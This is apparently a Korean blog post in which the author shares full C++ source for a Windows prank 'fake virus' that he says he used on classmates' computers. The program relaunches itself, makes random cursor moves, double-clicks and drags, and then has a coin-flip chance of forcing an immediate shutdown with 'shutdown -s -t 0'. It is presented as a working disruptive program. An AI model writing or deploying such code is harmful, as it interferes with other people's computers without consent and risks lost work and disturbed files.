가짜 바이러스 Rptest

5461 단어 test
첫 번째로 쓴 컴퓨터에 파괴적인 프로그램 = =, 그리고 시스템의copy를 쓸 때 경로를 문자열로 대체하지 않는 것을 발견하고 위축되었다 = =, 단지 자신이 복제하지 않은 위조 바이러스를 쓸 수 있을 뿐이다. 많은 학우들의 컴퓨터에 구덩이가 생겼다. 23333...
  
//By BLADEVIL

#include <ctime>

#include <cstdio>

#include <string>

#include <cstdlib>

#include <cstring>

#include <direct.h>

#include <windows.h>



using namespace std;



struct rec {

    int x,y;

    rec(){

        x=y=0;

    }

}cur;



int flag;

char CurPath[100],GoalPath[100];



void Recursion() {

    ShellExecute(NULL,"open","d:\\Rp_test.exe",NULL,NULL,SW_MAXIMIZE);

}



rec GetAddress() {

    rec Address;

    Address.x=rand()%2000; Address.y=rand()%2000;

    return Address;

}



void Operate_Cursor() {

    rec Address=GetAddress();

    SetCursorPos(Address.x,Address.y);

    mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);

    mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);

    mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);

    mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);

    //Double Click

    Address=GetAddress();

    mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);

    Address=GetAddress();

    mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);

    //Drag

}



void Rp_Judge() {

    if (rand()%10<5) system("shutdown -s -t 0");

    flag=1;

}



int main() {

    freopen("Rp_test.out","w",stdout);

    Recursion();

    srand((int)time(NULL));

    while (1) {

        Operate_Cursor();

        printf("%d
",clock()); if ((clock()>10000)&&(!flag)) Rp_Judge(); } return 0; }

 
 

좋은 웹페이지 즐겨찾기